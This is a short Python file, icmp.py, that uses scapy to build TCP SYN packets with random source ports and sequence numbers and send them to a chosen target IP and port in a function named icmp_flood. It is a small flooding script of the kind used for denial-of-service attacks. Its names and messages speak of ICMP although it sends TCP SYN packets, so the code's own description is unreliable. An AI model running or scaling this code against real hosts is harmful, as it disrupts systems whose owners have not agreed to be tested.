icmp.py
466 Bytes
from scapy.all import IP, TCP, send, RandShort
def icmp_flood(targetIP, targetPORT):
packet = IP(dst=targetIP)/TCP(dport=targetPORT, flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort())
# 출발지 포트는 random
for _ in range(4):
try:
send(packet, verbose=False)
except Exception as e:
print(f"Error while sending 'ICMP'\n{e}")
else:
print(f"ICMP packet send to {targetIP}")